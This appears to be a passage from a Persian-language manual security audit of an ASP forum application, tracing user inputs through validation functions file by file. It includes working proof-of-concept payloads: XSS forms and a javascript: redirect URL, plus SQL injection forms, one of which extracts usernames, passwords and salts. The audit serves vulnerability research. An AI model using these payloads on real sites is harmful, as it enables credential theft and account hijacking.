يل هاي شاخه لذا در اينجا بيشتر فا. مديريت دارند، چرا كه مدير هيچگاه نياز به نفوذ به سايت خود ندارد

Admin  را بررسي نمي كنيم و فقط آنهايي را بررسي مي كنيم كه بدون نياز به مجوز مديريت قابل بازگشايي

  .مي باشند

- alert-approve.asp: 



 :14خط 

vAlert = Alerts.GetAlertInfo(request.querystring("id")) 

 تابع. را رهگيري كنيم vAlertسپس چه مي كند و  ()GetAlertInfoدر اينجا ابتدا بايد ببينيم 

GetAlertInfo()  را درinclude-alerts.asp همانطور كه مي بينيد . مي يابيمValidateNumeric()  كه

وجود دارد براي محافظت وجود داشته و با وجود آن نمي توان به جز عدد چيزي وارد  include.aspدر فايل 

هاي از قبل تعيين شده سيستم در پايگاه داده انتخاب مي شود اين از آنجايي كه خروجي نيز توسط داده . كرد

 . خط كلا آسيب پذير نمي باشد

 :34خط 

vAlert(AL_Message)   = trim(request.form("reason")) 

در اينجا نيز تابع . به كار گرفته مي شود include-alerts.aspدر فايل  ()CreateAlertكه در 

ValidateNumeric()  از اجراي كد خطرناك مي شودمانع.  

  

- alert-list.asp: 

 :14خط 

iAlertType = BBS.ValidateNumeric(request.querystring("type")) 

  .مانع از ورود كد خطرناك مي شود ()ValidateNumericدر اينجا نيز تابع 

  

- alert-view.asp: 

 :14خط 

vAlert = Alerts.GetAlertInfo(request.querystring("id")) 

  .طبق صحبت هايي كه قبلا شد آسيب پذير نيست

- category-view.asp: 



 :31و  27خط  

iCategoryID = BBS.ValidateNumeric(request.querystring("cat")) 

  .طبق صحبت هايي كه قبلا شد آسيب پذير نيست

 :41و  39خط 

iCatLock = BBS.ValidateNumeric(request.querystring("catlock")) 

  .طبق صحبت هايي كه قبلا شد آسيب پذير نيست

 :68خط 

bCategoryCollapsed = BBS.ValidateBoolean(request.cookies(sBBSCookieRoot & "cat" & 

vCategoryList(0, index) & "collapsed")) 

  .نيز آسيب پذير نمي باشد ()ValidateBooleanتابع 

  

- forgot-password.asp: 

 :19خط 

vUserInfo = BBS.GetUserInfobyName(request.form("username")) 
بايد به دنبال تابع  include.aspمعلوم مي شود كه در فايل  ()GetUserInfobyNameبه دنبال تابع 

GetMemberID() همان طور كه ديده مي شود متغير ما توسط تابع . باشيمValidateSQL()  در نهايت

  .نمي باشد كنترل شده، پس آسيب پذير

 :23خط 

rsMaster.open "select memberid from members where emailaddress='" & 

BBS.ValidateSQL(trim(request.form("email"))) & "'", dbConnection, adOpenForwardOnly, 

adLockReadOnly 

  .آسيب پذيري را از بين مي برد ()ValidateSQLدر اينجا هم تابع 

- inbox.asp: 



 :13خط 

sFolderType = request.querystring("folder") 

خواهيم ديد كه اين تابع تمامي . را بايد بررسي كنيم ()ValidateFieldتابع  sFolderTypeبه دنبال متغير 

  . پس آسيب پذيري در اينجا وجود ندارد. مي شود جايگزين مي كند XSSكاراكترهايي را كه باعث حمله 

 :30خط 

ipmid = BBS.ValidateNumeric(request.querystring("view")) 

  .آسيب پذير نيست

 :34خط 

for each ipmid in request("pmid") 

را بررسي مي كنيم و مي بينيم كه به دليل  ()GetPrivateMessageتابع . را دنبال مي كنيم ipmidمتغير 

و  ()deletePrivateMessageهمين طور در مورد توابع .  كنترل عدد آسيب پذير نيست

deleteSentPrivateMessage() اين حكم صادق است.  

  

- logon.asp: 

 :18تا  12خط 

sPostUsername = request.form("postusername") 

sPostPassword = ucase(request.form("postpassword")) 

sPostVerification = request.form("postverification") 

sRedirect     = request.querystring("redirect") 

sAction       = request.form("action") 

sPasswordAction = request.querystring("password") 

  .به دنبال اين متغير ها به طور جدا گانه مي گرديم

 sPostUsername در توابعGetUserInfoByName(),CheckUsername()  آمده است و آنها نيز

: در جايي هم داريم. ربط پيدا مي كنند، آسيب پذير نيستند ()GetMemberID چون به



sBBSUsername = sPostUsername  پس به دنبالsBBSUsername  هم مي گرديم كه در

UpdateLocation  در اين تابع نيز رشته با ).  87خط (آمده استValidateSQL()  كنترل مي شود، پس

  .آسيب پذير نيست

  .تغير ها را نيز دنبال كنيم آسيب پذيري اي نمي بينيماگر بقيه م

  

- register-accept.asp: 

 :32تا  23خطوط 

vUserInfo(UI_Username)   = left(trim(request.form("username")), 20) 

vUserInfo(UI_Password)   = left(trim(request.form("password")), 20) 

vUserInfo(UI_Realname)   = left(trim(request.form("realname")), 50) 

vUserInfo(UI_WebsiteAddr)= left(trim(request.form("websiteaddr")), 75) 

vUserInfo(UI_EmailAddr)  = left(trim(request.form("emailaddr")), 75) 

vUserInfo(UI_ICQNumber)  = left(trim(request.form("icqnumber")), 15) 

vUserInfo(UI_AIM)        = left(trim(request.form("aim")), 75) 

vUserInfo(UI_MSN)        = left(trim(request.form("msn")), 75) 

vUserInfo(UI_Yahoo)      = left(trim(request.form("yahoo")), 75) 

مانع از  ()SQLTrimا نيز و در آنج. به كار مي آيند ()CreateUserرهگيري به ما نشان مي دهد كه اينها در 

  .اجراي كد خطرناك مي شود

 :43خط 

sPostVerification = trim(request.form("postverification")) 

  .تنها به كار رفته است پس آسيب پذير نيست) 88خط (اين متغير در يك خط شرطي 

  

- reset-password.asp: 

 :14خط 



vUserInfo = BBS.GetUserInfobyName(request.form("username")) 

  .آسيب پذير نيست ()GetUserInfobyNameقبلا ديديم كه 

  

- send-private-message.asp: 

 :33خط 

vReplyMessageInfo = Messenger.GetPrivateMessage(request.querystring("replyid")) 

  آسيب پذير نيست چرا كه اعداد كنترل مي شوند ()GetPrivateMessageمي بينيم 

 :41خط 

vMessageInfo(PM_ToName)   = 

BBS.GetUserInfobyID(request.querystring("toid"))(UI_Username). 

  ).به دليل كنترل اعداد(امن بوده و آسيب پذير نيست  ()GetUserInfobyIDتابع 

تفاده اس ()GetUserInfobyIDيا  ()GetPrivateMessageاز اينجا به بعد هرجا كه از توابع امني چون 

  .شده باشد از آن صرف نظر كرده و در مورد آن نمي نويسيم

 :75خط 

vToString = split(request.form("toid"), "|") 

  :يعني 79مي بينيم كه اين متغير در خط 

response.write vToString(index) & "<br/>" & CRLF 

شده باشد وجود  loginفرد قبلا وقتي كه  XSSاز نوع  اولين آسيب پذيريپس . در حال چاپ شدن است

  :آن به شكل زير است exploitدارد و 

<form action="send-private-message.asp" method="post"> 

<input type="hidden" name="action" value="post" /> 

<input type="text" name="toid" value="<script>alert('XSS')</script>" /> 

<br /> 

<input type="submit" name="" value="submit" /> 



</form> 
 :91و  90خط 

vMessageInfo(PM_Subject) = request.form("subject") 

vMessageInfo(PM_Body)    = request.form("body") 
  .مشخص است كه آسيب پذير نيست ()SendPrivateMessageبا نگاهي به تابع 

  

- view-group.asp: 

 :12خط 

iGroupID = request.querystring("gid") 

  .به دليل كنترل اعداد آسيب پذير نيستند ()ListGroupMembersو  ()GetGroupNameتوابع 

  

- view-profile.asp: 

 :12خط 

iUserID = BBS.ValidateNumeric(request.querystring("uid")) 

  .كه مي بينيم آسيب پذير نيست

  

  :ممي روي calendarحال سراغ پوشه 

  

- add-event.asp: 

 :15تا  12خط 

iCalendarID = request.querystring("calendarid") 

sAction     = request.querystring("action") 

iEventID    = request.querystring("eventid") 



كه به وسيله . مي رويم ()GetCalendarInfoبه تابع   iCalendarIDابتدا به دنبال متغير 

ValidateNumeric() با نگاهي سريع به . محافظت مي شودHasPermission()  نيز آسيب پذيري به

نگاهي بياندازيم متوجه مي  sActionحال اگر به متغير .). جا براي بررسي بيشتر وجود دارد(چشم نمي خورد 

هم در  iEventIDآخرين متغير يعني . شويم كه فقط در شرطي ها كاربرد دارد پس آسيب پذير نيست

GetEventInfo() براي عددي بودن بررسي مي شود پس آسيب پذير نيست.  

 :102تا  97و خطوط  86خط 

vEventInfo(CEV_Owner) = request.form("owner") 

vEventInfo(CEV_alldayevent)      = request.form("alldayevent") 

vEventInfo(CEV_timeofdayhour)    = request.form("timeofdayhour") 

vEventInfo(CEV_timeofdayminute)  = request.form("timeofdayminute") 

vEventInfo(CEV_timeofdaymeridian)= request.form("timeofdaymeridian") 

vEventInfo(CEV_AllowSignups)     = request.form("allowsignups") 

 ()FilterPostاگر در . نگاه مي كنيم ()CreateEventInfoبه . جلو مي رويم vEventInfoحال به دنبال 

  .مشكلي نباشد، آسيب پذير نيست

  

- calendar-view.asp: 

 :14خط 

iCAcalendarid = request("calendarid") 

  .آسيب پذير نيستند ()HasPermissionو  ()GetCalendarInfoمي بينيم كه مثل قبل 

  

  

  :forumsپوشه 

  



- alert-post.asp: 

 :16خط 

vMessageInfo = Forum.GetMessageInfo(request("mid")) 

  .اعداد را كنترل مي كند ()GetMessageInfoتابع 

 :37خط 

vAlertInfo(AL_Message)   = trim(request.form("message")) 

  بپذيرد، چرا كه  XSSممكن است  ()CreateAlertمشخص مي شود كه تابع  vAlertInfoبه دنبال 

BBS.ValidateSQL(vAlertInfo(AL_Message))  
در تحقيقات بعدي كه روي برنامه تست شد، . XSSرا مي گيرد و نه  SQL Injectionجلوي آسيب پذيري 

  .خنثي شود XSSمشخص مي شود كه هنگام نمايش، كدها به صورتي در مي آيند كه حمله 

  

- attach-file.asp: 

 :14خط 

iMessageID = request.querystring("mid") 

  :مي بينيم 127با رهگيري اين متغير در خط 

SQL = "select max(sortorder) as maxsort from attachments where messageid=" & iMessageID 
است و امكان اجراي چند  Accessاز آنجايي كه ديتابيس ما . را نشان مي دهد SQL Injectionكه پتانسيل 

اما در سايت توليد كننده . نخواهيم توانست از اين آسيب پذيري استفاده كنيم درخواست را باهم نداريم مطمئنا

پس به عنوان آسيب پذيري . لذا اين فايل را بيشتر برسي خواهيم كرد. نيز عرضه مي شود MSSQLديتابيس 

  :را خواهيم داشت Exploit، اين MSSQLديگري، مشروط به 

  ):مشروط(آسيب پذيري دوم 

<form ENCTYPE="multipart/form-data" method="post" action="/forums/attach-

file.asp?action=postupload&amp;mid=[YOUR MSG ID]&amp;attachmentid= or 



1=convert(int,(select top 1 username%2bpassword%2bsalt from members where 

username<>''))"> 

File : <input type='file' name='attachment' size='40'> 

<br /> 

<input type='submit' value='Submit'> 

</form> 
  

- email-link.asp: 

 :23تا  20خطوط 

   sFromName    = request.form("fromname") 

   sRecipient   = request.form("recipient") 

   sFromAddress = request.form("fromaddress") 

غير ها خواهيم ديد كه اين پارامترها بررسي مي شوند و سپس عمليات صورت مي پذيرد با دنبال كردن اين مت

اما به عنوان يك نكته منفي اين برنامه به اين نكته بايد اشاره كرد كه به . ندارد SQL Injectionو  XSSپس 

تي در ارسال مي توان يك آدرس ايميل خاص را بمباران كرد چرا كه محدودي email-link.aspوسيله فايل 

  .ندارد

به دليل حجم بالاي فايل ها و مشابهت زياد آنها به هم از نظر نوع محدوديت ها از اينجا به بعد فقط فايل هايي 

  .را كه آسيب پذير باشند مي آوريم
  

- /profile/controlpanel.asp: 

 :291تا  257خطوط 

 تمامي ورودي ها

  :ادير زير از نظر امنيتي كنترل نمي شوندمي بينيم مق ()UpdateUserبا نگاه به تابع 

SQL = SQL & " timeoffset=" & vUpdateUserInfo(UI_TimeOffset) & ", " 



SQL = SQL & " invisible=" & vUpdateUserInfo(UI_Invisible) & ", " 

كامل بود كار بسيار ساده بود و مي توانستيم مجوز  MSSQLاگر . را پيدا كرديم آسيب پذيري سومپس 

  :كار ما به شكل زير است PoCبهر حال ! مديريت را نيز بگيريم

<form method='post' name='updateprofile' action='/profile/controlpanel.asp'> 

Injection1 (Numeric Update):<input type="text" name="invisible" value="1" /><br /> 

Injection2 (Numeric Update):<input type="text" name="timeoffset" value="1" /><br /> 

<input type="hidden" name="action" value="updateinfo" /> 

<input type="hidden" name="showemail" value="1" /> 

<input type="hidden" name="usesignature" value="1" /> 

<input type="hidden" name="viewsignature" value="1" /> 

<input type="hidden" name="disablepostcount" value="1" /> 

<input type="hidden" name="userichedit" value="1" /> 

<input type="hidden" name="emailnotifications" value="1" /> 

<input type="hidden" name="sendprivatenotifications" value="1" /> 

<input type="hidden" name="includebody" value="1" /> 

<input type="hidden" name="language" value="1" /> 

<input type="hidden" name="disallowbroadcasts" value="1" /> 

<input type="hidden" name="viewavatars" value="1" /> 

<input type="submit" /> 

</form> 
اهايي كه به مجوز مديريت نيازي نباشد را مي بينيم و آسيب پذيري ها را بررسي مي ج adminحال پوشه 

  :كنيم

- impersonate.asp: 

 :14خط 

sRedirect = request.querystring("redirect") 

  :داريم 32و در خط 

response.redirect sRedirect 



آن به  Exploitاعلام مي كنيم كه  يريچهارمين آسيب پذدر اين برنامه را به عنوان  XSSهمين جا وجود 

  :شكل زير است

/admin/impersonate.asp?redirect=javascript:alert('XSS')&action=end 
  :حال نوبت به بررسي از قلم افتاده ها مي رسد

- /includes/include-poll.asp: 

 :125خط 

SQL = SQL & BBS.ValidateSQL(stOptionStruct(OI_MemberID)) & ", " 

 ()ValidateSQLاستفاده نشده، بررسي با تابع  ‘همانطور كه مي بينيد در جايي كه در دو طرف آن از علامت 

اما چون قبل از فراخواني اين فيلد در دست كاربر . SQLانجام شده كه بايد بررسي عددي مي شد نه بررسي 

  .نيست، لذا خطرناك نيست

آسيب پذيري هاي بيشتر ادامه مي دهيم تا وقتي كه الگوريتم را كامل اين كارها را همين طور براي پيدا كردن 

  . كنيم

  :نتيجه گيري - 1- 2-د

اين زمان طولاني دو . ساعت شد كه در نوع خود رقم بالايي محسوب مي شود 15مدت زمان دستي اين عمليات 

دن كدهاي اين برنامه بسيار علت مي تواند داشته باشد، يكي امنيت نسبي بالاي خود برنامه و ديگر آنكه خوان

  .سخت بود
  

و  روابط در نحوه پياده سازي، هاي توابعflow chartدر صورتي كه از : تحقيق بيشتر
ود آسيب پذيري هاي منطقي را به خوبي پيدا ، قادر خواهيم باستفاده كنيم آنها وظايف
 هاflow chartدر ترسيم  جستجوي فايل به فايل براي نقاط شروع پروسه ها .كنيم

  .پيشنهاد مي شود
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